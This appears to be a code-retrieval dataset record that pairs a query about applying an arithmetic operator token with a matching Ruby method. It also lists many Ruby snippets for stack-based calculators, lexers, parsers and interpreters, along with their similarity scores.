code.at(@str_p + 1)\n @stack.push c.to_i.to_s == c ? c.to_i : c\n @str_p += 1\n\n # Flush input and output\n when 'ß'\n STDOUT.flush\n\n # Perform an IF\n when '?'\n f = @stack.pop\n b = @stack.pop\n code = code.insert(@str_p + 1, f) if b == -1\n\n # Perform a WHILE\n when \"#\"\n a = @stack.pop\n b = @stack.pop\n @while_stack.push b\n @while_stack.push a\n code = code.insert(@str_p + 1, \"[#{b}]!W\")\n\n # Helper for WHILE\n when \"W\"\n r = @stack.pop\n a = @while_stack.pop\n b = @while_stack.pop\n if r == -1\n @while_stack.push b\n @while_stack.push a\n code = code.insert(@str_p + 1, \"[#{a}]![#{b}]!W\")\n end\n\n else\n raise StandardError, \"syntax error\"\n end\n\n @stack.show if verbose\n\n # in next step go for the next character\n @str_p += 1\n end\n end",
"def expr()\n\n\n begin\n @ruleStack.push('expr')\n # dice.g:52:7: ( mult ( '+' mult | '-' mult )* )\n # dice.g:52:7: mult ( '+' mult | '-' mult )*\n\n #@following.push(FOLLOW_mult_in_expr65)\n mult()\n #@following.pop\n\n\n # dice.g:52:12: ( '+' mult | '-' mult )*\n #catch (:loop1) do\n \twhile true\n \t\talt1 = 3\n \t\tlook_ahead1_0 = input.look_ahead(1).token_type\n \t\tif look_ahead1_0 == 6 \n \t\t alt1 = 1\n \t\telsif look_ahead1_0 == 7 \n \t\t alt1 = 2\n\n \t\tend\n\n \t\tcase alt1\n \t\t\twhen 1\n \t\t\t # dice.g:53:5: '+' mult\n\n \t\t\t match(6, nil) # FOLLOW_6_in_expr73\n\n\n \t\t\t #@following.push(FOLLOW_mult_in_expr75)\n \t\t\t mult()\n \t\t\t #@following.pop\n\n\n\n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nAdd: #{b} + #{a}\"\n \t\t\t @stack.push(b + a)\n \t\t\t \n\n\n\n \t\t\twhen 2\n \t\t\t # dice.g:58:5: '-' mult\n\n \t\t\t match(7, nil) # FOLLOW_7_in_expr83\n\n\n \t\t\t #@following.push(FOLLOW_mult_in_expr85)\n \t\t\t mult()\n \t\t\t #@following.pop\n\n\n\n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nSubtract: #{b} - #{a}\"\n \t\t\t @stack.push(b - a)\n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop1\n \t\tend\n \tend\n #end\n\n\n\n\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end",
"def solve_rpn(s)\n\t\t\tstack = []\n\t\t\ts.split(\"\\s\").each do |e|\n\t\t\t\tcase e\n\t\t\t\t\twhen \"+\"\n\t\t\t\t\t\tstack.push(stack.pop + stack.pop)\n\t\t\t\t\twhen \"-\"\n\t\t\t\t\t\tstack.push(-stack.pop + stack.pop)\n\t\t\t\t\twhen \"*\"\n\t\t\t\t\t\tstack.push(stack.pop * stack.pop)\n\t\t\t\t\twhen \"/\"\n\t\t\t\t\t\ta, b = stack.pop, stack.pop\n\t\t\t\t\t\tstack.push(b / a)\n when \"<?\"\n a, b = stack.pop, stack.pop\n stack.push(b < a ? 1 : 0)\n when \">?\"\n a, b = stack.pop, stack.pop\n stack.push(b > a ? 1 : 0)\n when \"<=?\"\n a, b = stack.pop, stack.pop\n stack.push(b <= a ? 1 : 0)\n when \">=?\"\n a, b = stack.pop, stack.pop\n stack.push(b >= a ? 1 : 0)\n\t\t\t\t\telse\n\t\t\t\t\t\traise TypeError, \"Bad rpn\" unless e.is_numeric?\n\t\t\t\t\t\tstack.push(e.to_f)\n\t\t\t\tend\n\t\t\tend\n\t\t\tstack[0]\n\t\tend",
"def next_token\n return process_string if lex_strterm\n self.cmd_state = self.command_start\n self.command_start = false\n self.space_seen = false # TODO: rename token_seen?\n self.last_state = lex_state\n\n token = nil\n\n until ss.eos? or token do\n token =\n case state\n when nil then\n case\n when ss.skip(/[\\ \\t\\r\\f\\v]/) then\n action { self.space_seen = true; next }\n when text = ss.scan(/\\n|\\#/) then\n process_newline_or_comment text\n when text = ss.scan(/[\\]\\)\\}]/) then\n process_brace_close text\n when ss.match?(/\\!/) then\n case\n when is_after_operator? && (ss.skip(/\\!\\@/)) then\n action { result EXPR_ARG, :tUBANG, \"!@\" }\n when text = ss.scan(/\\![=~]?/) then\n action { result :arg_state, TOKENS[text], text }\n end # group /\\!/\n when ss.match?(/\\./) then\n case\n when text = ss.scan(/\\.\\.\\.?/) then\n action { result EXPR_BEG, TOKENS[text], text }\n when ss.skip(/\\.\\d/) then\n action { rb_compile_error \"no .<digit> floating literal anymore put 0 before dot\" }\n when ss.skip(/\\./) then\n action { self.lex_state = EXPR_BEG; result EXPR_DOT, :tDOT, \".\" }\n end # group /\\./\n when text = ss.scan(/\\(/) then\n process_paren text\n when text = ss.scan(/\\,/) then\n action { result EXPR_PAR, TOKENS[text], text }\n when ss.match?(/=/) then\n case\n when text = ss.scan(/\\=\\=\\=|\\=\\=|\\=~|\\=>|\\=(?!begin\\b)/) then\n action { result arg_state, TOKENS[text], text }\n when bol? && (text = ss.scan(/\\=begin(?=\\s)/)) then\n process_begin text\n when text = ss.scan(/\\=(?=begin\\b)/) then\n action { result arg_state, TOKENS[text], text }\n end # group /=/\n when ruby22_label? && (text = ss.scan(/\\\"#{SIMPLE_STRING}\\\":/o)) then\n process_label text\n when text = ss.scan(/\\\"(#{SIMPLE_STRING})\\\"/o) then\n action { result EXPR_END, :tSTRING, text[1..-2].gsub(ESC) { unescape $1 } }\n when text = ss.scan(/\\\"/) then\n action { string STR_DQUOTE; result nil, :tSTRING_BEG, text }\n when text = ss.scan(/\\@\\@?\\d/) then\n action { rb_compile_error \"`#{text}` is not allowed as a variable name\" }\n when text = ss.scan(/\\@\\@?#{IDENT_CHAR}+/o) then\n process_ivar text\n when ss.match?(/:/) then\n case\n when not_end? && (text = ss.scan(/:([a-zA-Z_]#{IDENT_CHAR}*(?:[?]|[!](?!=)|=(?==>)|=(?![=>]))?)/o)) then\n process_symbol text\n when not_end? && (text = ss.scan(/\\:\\\"(#{SIMPLE_STRING})\\\"/o)) then\n process_symbol text\n when not_end? && (text = ss.scan(/\\:\\'(#{SSTRING})\\'/o)) then\n process_symbol text\n when text = ss.scan(/\\:\\:/) then\n process_colon2 text\n when text = ss.scan(/\\:/) then\n process_colon1 text\n end # group /:/\n when ss.skip(/->/) then\n action { result EXPR_ENDFN, :tLAMBDA, nil }\n when text = ss.scan(/[+-]/) then\n process_plus_minus text\n when ss.match?(/[+\\d]/) then\n case\n when ss.skip(/#{NUM_BAD}/o) then\n action { rb_compile_error \"Invalid numeric format\" }\n when ss.skip(/#{INT_DEC}/o) then\n action { int_with_base 10 }\n when ss.skip(/#{INT_HEX}/o) then\n action { int_with_base 16 }\n when ss.skip(/#{INT_BIN}/o) then\n action { int_with_base 2 }\n when ss.skip(/#{INT_OCT_BAD}/o) then\n action { rb_compile_error \"Illegal octal digit.\" }\n when ss.skip(/#{INT_OCT}/o) then\n action { int_with_base 8 }\n when ss.skip(/#{FLOAT_BAD}/o) then\n action { rb_compile_error \"Trailing '_' in number.\" }\n when text = ss.scan(/#{FLOAT}/o) then\n process_float text\n when ss.skip(/#{INT_DEC2}/o) then\n action { int_with_base 10 }\n when ss.skip(/[0-9]/) then\n action { rb_compile_error \"Bad number format\" }\n end # group /[+\\d]/\n when text = ss.scan(/\\[/) then\n process_square_bracket text\n when was_label? && (text = ss.scan(/\\'#{SSTRING}\\':?/o)) then\n process_label_or_string text\n when ss.match?(/\\|/) then\n case\n when ss.skip(/\\|\\|\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"||\" }\n when ss.skip(/\\|\\|/) then\n action { result EXPR_BEG, :tOROP, \"||\" }\n when ss.skip(/\\|\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"|\" }\n when ss.skip(/\\|/) then\n action { state = is_after_operator? ? EXPR_ARG : EXPR_PAR; result state, :tPIPE, \"|\" }\n end # group /\\|/\n when text = ss.scan(/\\{/) then\n process_brace_open text\n when ss.match?(/\\*/) then\n case\n when ss.skip(/\\*\\*=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"**\" }\n when ss.skip(/\\*\\*/) then\n action { result(:arg_state, space_vs_beginning(:tDSTAR, :tDSTAR, :tPOW), \"**\") }\n when ss.skip(/\\*\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"*\") }\n when ss.skip(/\\*/) then\n action { result(:arg_state, space_vs_beginning(:tSTAR, :tSTAR, :tSTAR2), \"*\") }\n end # group /\\*/\n when ss.match?(/</) then\n case\n when ss.skip(/\\<\\=\\>/) then\n action { result :arg_state, :tCMP, \"<=>\" }\n when ss.skip(/\\<\\=/) then\n action { result :arg_state, :tLEQ, \"<=\" }\n when ss.skip(/\\<\\<\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"<<\" }\n when text = ss.scan(/\\<\\</) then\n process_lchevron text\n when ss.skip(/\\</) then\n action { result :arg_state, :tLT, \"<\" }\n end # group /</\n when ss.match?(/>/) then\n case\n when ss.skip(/\\>\\=/) then\n action { result :arg_state, :tGEQ, \">=\" }\n when ss.skip(/\\>\\>=/) then\n action { result EXPR_BEG, :tOP_ASGN, \">>\" }\n when ss.skip(/\\>\\>/) then\n action { result :arg_state, :tRSHFT, \">>\" }\n when ss.skip(/\\>/) then\n action { result :arg_state, :tGT, \">\" }\n end # group />/\n when ss.match?(/\\`/) then\n case\n when expr_fname? && (ss.skip(/\\`/)) then\n action { result(EXPR_END, :tBACK_REF2, \"`\") }\n when expr_dot? && (ss.skip(/\\`/)) then\n action { result((cmd_state ? EXPR_CMDARG : EXPR_ARG), :tBACK_REF2, \"`\") }\n when ss.skip(/\\`/) then\n action { string STR_XQUOTE, '`'; result(nil, :tXSTRING_BEG, \"`\") }\n end # group /\\`/\n when text = ss.scan(/\\?/) then\n process_questionmark text\n when ss.match?(/&/) then\n case\n when ss.skip(/\\&\\&\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"&&\") }\n when ss.skip(/\\&\\&/) then\n action { result(EXPR_BEG, :tANDOP, \"&&\") }\n when ss.skip(/\\&\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"&\" ) }\n when ss.skip(/\\&\\./) then\n action { result(EXPR_DOT, :tLONELY, \"&.\") }\n when text = ss.scan(/\\&/) then\n process_amper text\n end # group /&/\n when text = ss.scan(/\\//) then\n process_slash text\n when ss.match?(/\\^/) then\n case\n when ss.skip(/\\^=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"^\") }\n when ss.skip(/\\^/) then\n action { result(:arg_state, :tCARET, \"^\") }\n end # group /\\^/\n when ss.skip(/\\;/) then\n action { self.command_start = true; result(EXPR_BEG, :tSEMI, \";\") }\n when ss.match?(/~/) then\n case\n when is_after_operator? && (ss.skip(/\\~@/)) then\n action { result(:arg_state, :tTILDE, \"~\") }\n when ss.skip(/\\~/) then\n action { result(:arg_state, :tTILDE, \"~\") }\n end # group /~/\n when ss.match?(/\\\\/) then\n case\n when ss.skip(/\\\\\\r?\\n/) then\n action { self.lineno += 1; self.space_seen = true; next }\n when ss.skip(/\\\\/) then\n action { rb_compile_error \"bare backslash only allowed before newline\" }\n end # group /\\\\/\n when text = ss.scan(/\\%/) then\n process_percent text\n when ss.match?(/\\$/) then\n case\n when text = ss.scan(/\\$_\\w+/) then\n process_gvar text\n when text = ss.scan(/\\$_/) then\n process_gvar text\n when text = ss.scan(/\\$[~*$?!@\\/\\\\;,.=:<>\\\"]|\\$-\\w?/) then\n process_gvar text\n when in_fname? && (text = ss.scan(/\\$([\\&\\`\\'\\+])/)) then\n process_gvar text\n when text = ss.scan(/\\$([\\&\\`\\'\\+])/) then\n process_backref text\n when in_fname? && (text = ss.scan(/\\$([1-9]\\d*)/)) then\n process_gvar text\n when text = ss.scan(/\\$([1-9]\\d*)/) then\n process_nthref text\n when text = ss.scan(/\\$0/) then\n process_gvar text\n when text = ss.scan(/\\$[^[:ascii:]]+/) then\n process_gvar text\n when text = ss.scan(/\\$\\W|\\$\\z/) then\n process_gvar_oddity text\n when text = ss.scan(/\\$\\w+/) then\n process_gvar text\n end # group /\\$/\n when text = ss.scan(/\\_/) then\n process_underscore text\n when text = ss.scan(/#{IDENT}/o) then\n process_token text\n when ss.skip(/\\004|\\032|\\000|\\Z/) then\n action { [RubyLexer::EOF, RubyLexer::EOF] }\n when text = ss.scan(/./) then\n action { rb_compile_error \"Invalid char #{text.inspect} in expression\" }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n else\n raise ScanError, \"undefined state at #{location}: '#{state}'\"\n end # token = case state\n\n next unless token # allow functions to trigger redo w/ nil\n end # while\n\n raise LexerError, \"bad lexical result at #{location}: #{token.inspect}\" unless\n token.nil? || (Array === token && token.size >= 2)\n\n # auto-switch state\n self.state = token.last if token && token.first == :state\n\n token\n end",
"def parse_lisp(str)\n\t# TODO: handle the tab tree and resulting token structure\n\n\tdepth_stack = [] # can have (, \", and [\n current_token = nil\n state_stack = []\n state = \"token counting\"\n tab_count = 0\n\n str.each_char do |char|\n \tcurrent_token << char\n \tif state == \"tab counting\" && char != \"\\t\"\n \t\t# do stuff with tabs and structure\n \t\ttab_count = 0\n \tend\n \t\n \tif char == \"\\\\\"\n \t\tstate = \"backslash\"\n \telse\n\t\t case state\n\t\t when \"token counting\"\n\n\t\t when \"tab counting\"\n\n\t\t when \"within paren, quote, or bracket\"\n\n\t\t \tcase char\n\t\t \twhen \")\"\n\t\t\t\t\tdepth_stack.pop if depth_stack[-1] == '('\n\t\t\t\twhen \"]\"\n\t\t\t\t\tdepth_stack.pop if depth_stack[-1] == '['\n\t\t \twhen '\"'\n\t\t \t\tdepth_stack.pop if depth_stack[-1] == '\"'\n\t\t\t\telse\n\t\t\t\t\tif \"([\".include?(char)\n\t\t\t\t\t\tdepth_stack << char\n\t\t\t\t\telse\n\t\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t when \"backslash\"\n\t\t \tstate = state_stack.pop\n\t\t end\n\t\tend\n\tend\n\n puts pre_parse\nend",
"def process_token(token)\n token_type = token.type.to_s\n method = \"process_#{token_type}\"\n\n return @stack << token unless respond_to? method, true\n\n @line_num = @lexer.line_num if @current_scope.type == Scope::TYPE_MAIN\n\n Util::Logger.debug(Util::Options::DEBUG_2) { Util::I18n.t('interpreter.process').lyellow + token_type }\n send method, token\n end",
"def interpreter\n dfaStack = [ ] \n loop do\n line = gets\n words = line.scan(/\\S+/)\n words.each{ |word|\n case word\n when /DONE/\n return\n when /DOT/\n f = dfaStack.last\n f.dotfile\n when /SIZE/\n f = dfaStack.last\n puts f.num_states\n when /PRINT/\n f = dfaStack.last\n f.prettyPrint\n when /DFA/\n f = dfaStack.pop\n f2 = f.toDFA\n dfaStack.push f2\n when /MINIMIZE/\n f = dfaStack.pop\n f2 = f.minimize\n dfaStack.push f2\n when /GENSTR([0-9]+)/\n f = dfaStack.last\n puts f.genStr($1)\n when /\"([a-z]*)\"/\n f = dfaStack.last\n str = $1\n if f.accept?(str)\n puts \"Accept #{str}\"\n else\n puts \"Reject #{str}\"\n end\n when /([a-zE])/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = NFA.new #changed from FA because it always gonna create a new NFA object\n sym = $1\n sym=\"\" if $1==\"E\"\n f.symbol!(sym)\n dfaStack.push f\n when /\\*/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = dfaStack.pop\n f.closure!\n dfaStack.push f\n when /\\|/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.union!(f1)\n dfaStack.push f2\n when /\\./\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.concat!(f1)\n dfaStack.push f2\n else\n puts \"Ignoring #{word}\"\n end\n }\n end\nend",
"def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend",
"def makeTree ts\n\t\tts.reverse\n\t\tllt = ll_table\n\t\tp = @production_rules\n\t\tt = ParseTree.new \"root\"\n\t\tcur = t\n\t\tk = [@goal]\n\t\twhile k.length > 0\n\t\t\tx = k.pop\n\t\t\tif non_terminals.include? x\n\t\t\t\t#Next token may not predict a p in P, must look for top of token stream in cur's predict set\n\t\t\t\truleNumber = llt[x][ts[-1].type]\n\t\t\t\traise \"Couldn't find production rules for #{ts[-1].type} for the non-terminal #{x}\" if ruleNumber.nil?\n\t\t\t\tk << '*'\n\t\t\t\tr = p[x][ruleNumber]\n\t\t\t\tr.reverse.each {|term| k << term}\n\t\t\t\tcur << x\n\t\t\t\tcur = cur.children[-1]\n\t\t\telsif ((terminals.include? x) or (x == 'lambda'))\n\t\t\t\tif terminals.include? x\n\t\t\t\t\traise \"\\'#{x}\\' is a terminal, but we expected \\'#{x}\\' to be \\'#{ts[-1].type}\\'\" if x != ts[-1].type\n\t\t\t\t\ta = ts.tokens.pop #this is probably a string\n\t\t\t\t\tcur << a\n\t\t\t\telse\n\t\t\t\t\tcur << x\n\t\t\t\tend\n\n\n\t\t\telsif x == '*'\n\t\t\t\tcur = cur.parent\n\t\t\tend\n\t\tend\n\t\treturn t.children[0]\n\tend"
] |
[
"0.67364323",
"0.639874",
"0.6363061",
"0.6301344",
"0.62763315",
"0.6194754",
"0.6186308",
"0.61691254",
"0.61247736",
"0.6091007",
"0.60032964",
"0.59723043",
"0.59411067",
"0.5926385",
"0.5894983",
"0.58641714",
"0.5819866",
"0.5808848",
"0.5773469",
"0.57693523",
"0.575196",
"0.5743741",
"0.57402974",
"0.5733017",
"0.57325965",
"0.5711448",
"0.56874317",
"0.5643695",
"0.56428146",
"0.56394607",
"0.56370384",
"0.56362706",
"0.56259406",
"0.56258214",
"0.5584975",
"0.5578752",
"0.55746174",
"0.55635846",
"0.5542119",
"0.5533427",
"0.5509438",
"0.5489396",
"0.54872644",
"0.54845864",
"0.5480997",
"0.5472447",
"0.54689497",
"0.5466768",
"0.54653966",
"0.54642546",
"0.54597",
"0.54597",
"0.54597",
"0.54597",
"0.54585177",
"0.5448896",
"0.5447973",
"0.54397535",
"0.54355705",
"0.5435403",
"0.54272074",
"0.5425527",
"0.5424137",
"0.54203373",
"0.54195786",
"0.54093",
"0.5399023",
"0.5380118",
"0.53702146",
"0.53645736",
"0.5362644",
"0.5358833",
"0.5353165",
"0.5349402",
"0.5349347",
"0.53493387",
"0.53455657",
"0.5344586",
"0.53439",
"0.534201",
"0.53416294",
"0.53353083",
"0.53342366",
"0.5328521",
"0.53282607",
"0.5318511",
"0.5318308",
"0.53027767",
"0.5283669",
"0.52811",
"0.52714497",
"0.5267031",
"0.52651846",
"0.5261834",
"0.52522624",
"0.52470905",
"0.5237793",
"0.52352136",
"0.52340376",
"0.5230572"
] |
0.5864863
|
15
|
Takes a operator token (e.g. '+') and return the result of the operation on the given operands
|
def process_operator_token(token, operand_a, operand_b)
if token == '+'
operand_a + operand_b
elsif token == '-'
operand_a - operand_b
elsif token == '*'
operand_a * operand_b
elsif token == '/'
raise 'Tried to divide by zero!' if operand_b == 0
operand_a / operand_b
else
raise "Invalid Operator: #{token}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def calc_operator token\n ##\n # We need two operands to perform an operation, so we \n # raise `InvalidTokenError` if we don't have those \n # (as at that moment of execution operator-tokens are invalid).\n raise InvalidTokenError if @stack.length < 2\n arg2 = pop!\n arg1 = pop!\n res = get_operation(token).call(arg1, arg2)\n @stack.push(res)\n res\n end",
"def math_eval(str)\n # iterate over string values\n # perhaps utilize a queue till you hit a symbol?\n # left operand and right operand (do we care about order of operations?)\n copy = str\n total = 0\n tokens = []\n\n copy.chars.each_with_index do |ch, idx|\n if ch == '*' || ch == '/' || ch == '+' || ch == '-'\n divided = str.split(ch)\n tokens << divided.shift.to_i\n tokens << ch\n copy = divided\n end\n if idx == copy.length - 1\n tokens << copy\n end\n # break if ch.match(/()+\\-*/) && operator != ''\n # operator = ch.match(/()+\\-*/)\n # left_operand = ch if ch.match(/0-9/) && operator == ''\n # right_operand += ch if ch.match(/0-9/) && operator != ''\n end\n return tokens\n\n p \"operator: #{operator}, left_operand: #{left_operand}, right_operand: #{right_operand}\"\n return left_operand.to_i if operator == ''\n return left_operand.to_i + right_operand.to_i if operator == '+'\n return left_operand.to_i - right_operand.to_i if operator == '-'\n return left_operand.to_i / right_operand.to_i if operator == '/'\n return left_operand.to_i * right_operand.to_i if operator == '*'\nend",
"def arithmetic(a, b, operator)\n $oper = operator\n case $oper\n when 'add'\n return a + b\n\n when 'subtract'\n return a - b\n\n when 'multiply'\n return a * b\n\n when 'divide'\n return a / b\n \n end\nend",
"def check_operators(token, evaluation, line, file_read, ops)\n op1 = ops[0]\n op2 = ops[1]\n unless ['-', '+', '/', '*'].include?(token) && !(token == '/' && op2.to_i.zero?)\n puts \"Line #{line}: Could not evaluate expression\"\n error_eval(5, line, nil, file_read)\n return false\n end\n evaluation.push(op1.to_i.send(token.to_sym, op2.to_i))\n end",
"def operator\n case @matches[2]\n when \"plus\" then :+\n when \"minus\" then :-\n when \"divided by\" then :/\n when \"multiplied by\" then :*\n end\n end",
"def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end",
"def basic_op(operator, value1, value2)\n case operator\n when \"+\"\n value1 + value2\n when \"-\"\n value1 - value2\n when \"*\"\n value1 * value2\n when \"/\"\n value1 / value2\n end\nend",
"def basic_op(operator, value1, value2)\n case operator\n when '+'\n value1 + value2\n when '-'\n value1 - value2\n when '*'\n value1 * value2\n when '/'\n value1 / value2\n end\nend",
"def tokens(ops)\n \t\toperators = {\"+\" => :+, \"-\" => :-, \"*\" => :*, \"/\" => :/}\n \t\tops = ops.split(\" \")\n \t\ttokenized = []\n \t\tops.each do |op|\n \t\t\tif operators.has_key?(op)\n \t\t\t\ttokenized << operators[op]\n \t\t\telse\n \t\t\t\ttokenized << op.to_i\n \t\t\tend\n \t\tend\n \t\ttokenized\n end",
"def applyOperator(num1, num2, operator)\n #eval((num1.to_s + operator + num2.to_s).gsub(\"^\", \"**\"))\n @operators[operator][:action].call(num1.to_i, num2.to_i)\n end",
"def operators\n {\n \"+\" => -> {@num1 + @num2},\n \"-\" => -> {@num1 - @num2}\n }\n end",
"def perform_operation(operator)\n operands = stack.last(2)\n if valid_operation?(operator, operands)\n operands = stack.pop(2).map(&:to_f)\n new_value = operands[0].send(operator, operands[1]).to_s\n\n Input.new(new_value)\n end\n end",
"def calculator num1, operator, num2\n # Our 'if' statement checks to see if we have found the string of plus or minus and uses the according operator.\n if operator == \"plus\"\n return num1 + num2\n else\n return num1 - num2\n end\n end",
"def calculate(op1, operator, op2)\n\tstring = op1.to_s + operator + op2.to_s\n\n\t# operator is assumed to be a string; \n\t# make one big string of it and the two operands \n\teval(string) # evaluate and return a value - never use eval ! eval is EVIL lol \nend",
"def tokenize_operator(&block) # :yields: SQLTree::Token\n operator = current_char\n if operator == '-' && /[\\d\\.]/ =~ peek_char\n tokenize_number(&block)\n else\n operator << next_char if SQLTree::Token::OPERATORS_HASH.has_key?(operator + peek_char)\n operator_class = SQLTree::Token.const_get(SQLTree::Token::OPERATORS_HASH[operator].to_s.upcase)\n handle_token(operator_class.new(operator), &block)\n end\n end",
"def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend",
"def _calc operator\n (operand1, operand2) = @stack.pop 2\n @stack.unshift @stack.first\n @stack.push operand1.send(operator.to_sym, operand2)\nend",
"def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end",
"def applyOperator(num1, num2, operator)\n return num1.send(operator, num2)\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n SYMBOL_TABLE[token].arity.times do\n args.unshift(stack.pop)\n end\n\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token?\"\n end\n end\n\n stack.pop\n end",
"def handle_plus_minus(tokens)\n last_value = 0\n last_op = '+'\n tokens.each do |token|\n case token\n when '+', '-'\n last_op = token\n else\n last_value = (last_op == '+') ? last_value + token : last_value - token\n end\n end\n last_value\nend",
"def answer\n operators[@operator].call\n end",
"def calculator(operator, *numbers)\n result = 0\n if operator == \"*\"\n result = 1\n else\n result = numbers[0]\n numbers.shift\n end\n\n numbers.each do |arg|\n #result = arg operator.send result\n result = result.send(operator,arg)\n end\n return result\nend",
"def eval_tokens(tokens)\n handle_plus_minus(handle_times_divide(handle_parens_unary_minus(tokens)))\nend",
"def calculate(input)\n raise error(\"length is zero!\") unless input.length > 0\n # break input string on whitespace for tokens.\n tokens = input.strip.gsub(/\\(|\\)/,'').split(/\\s+/m)\n tokens.each_with_index do |token, index|\n raise error(\"syntax error at token ##{index + 1} '#{token}'\") unless token =~ /\\d+|[*-\\/+^%]/\n # if this is an operand, add it to the stack\n if token =~ /\\d/\n @stack << token.to_f\n else\n raise error(\"not enough operands at token ##{index + 1} '#{token}'\") if (@stack.length < MIN_TOKENS && @strict)\n # if it is an operator, take the operands off the stack and apply the operator to them\n while @stack.length > 1\n first, second = @stack.pop(MIN_TOKENS)\n @stack << first.send(token, second)\n end\n end\n end\n raise error(\"invalid syntax\") unless @stack.length == 1\n @stack.pop\n end",
"def get_result(operator, *n)\n return $operations[operator].call(*n).to_s\nend",
"def next_operator(expr)\n return '*' if expr.index('*')\n return '/' if expr.index('/')\n return '+' if expr.index('+')\n return '-' if expr.index('-')\n end",
"def sum (operator, a, b)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n end\nend",
"def prescedence_of operator\n case operator\n when \"*\" then 2\n when \"/\" then 2\n when \"+\" then 1\n when \"-\" then 1\n when \"(\" then 0 \n end\n end",
"def read_operator_node(node)\n first_node = node.children.first\n solution = first_node.is_a?(GivenThatOperatorNode) ? read_operator_node(first_node) : first_node\n\n push_connector(node)\n #group =\n node.children[1..-1].inject(solution) do |sum, i|\n i = read_operator_node(i) if i.is_a?(GivenThatOperatorNode)\n if MULTIPLICATIVE_OPERATORS.include?(node.value)\n sum = sum | i\n else # Assume it's in ADDITIVE_OPERATORS\n sum = sum & i\n end\n end\n end",
"def expression\n n = term\n while next_token == '+' || next_token == '-'\n op = consume\n m = term\n n = case op\n when '+'\n n + m\n when '-'\n n - m\n else\n nil\n end\n end\n n\n end",
"def ops(node)\n if node.left.nil? || node.right.nil?\n return 1 if /[\\+\\-\\*\\%\\/\\.]/.match(node.value)\n else\n return (ops(node.left) + ops(node.right))\n end\nend",
"def collect_operator(mat)\n return collect_negative_number if mat == '-' && (@str[1] =~ /\\d/)\n\n Token.new OPERATORS[mat]\n end",
"def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend",
"def calculate(operator)\n operands = @memory.stack.pop(2)\n @memory.stack.push(operands.inject(operator))\n end",
"def get_operator\n OPERATORS[get_token]\n end",
"def applyOperator(num1, num2, operator)\n\n\t\tif operator == \"+\"\n\t\t\treturn num1.to_i + num2.to_i\n\t\tend\n\n\t\tif operator == \"-\"\n\t\t\treturn num1.to_i - num2.to_i\n\t\tend\n\n\t\tif operator == \"*\"\n\t\t\treturn num1.to_i * num2.to_i\n\t\tend\n\n\t\tif operator == \"/\"\n\t\t\treturn num1.to_i / num2.to_i\n\t\tend\n\n\t\tif operator == \"%\"\n\t\t\treturn num1.to_i % num2.to_i\n\t\tend\n\n\t\tif operator == \"^\"\n\t\t\treturn num1.to_i ** num2.to_i\n\t\tend\n\n end",
"def operators= new_ops\n @operators = new_ops.gsub(/[^+*-]/, '').split(//)\n reset\n end",
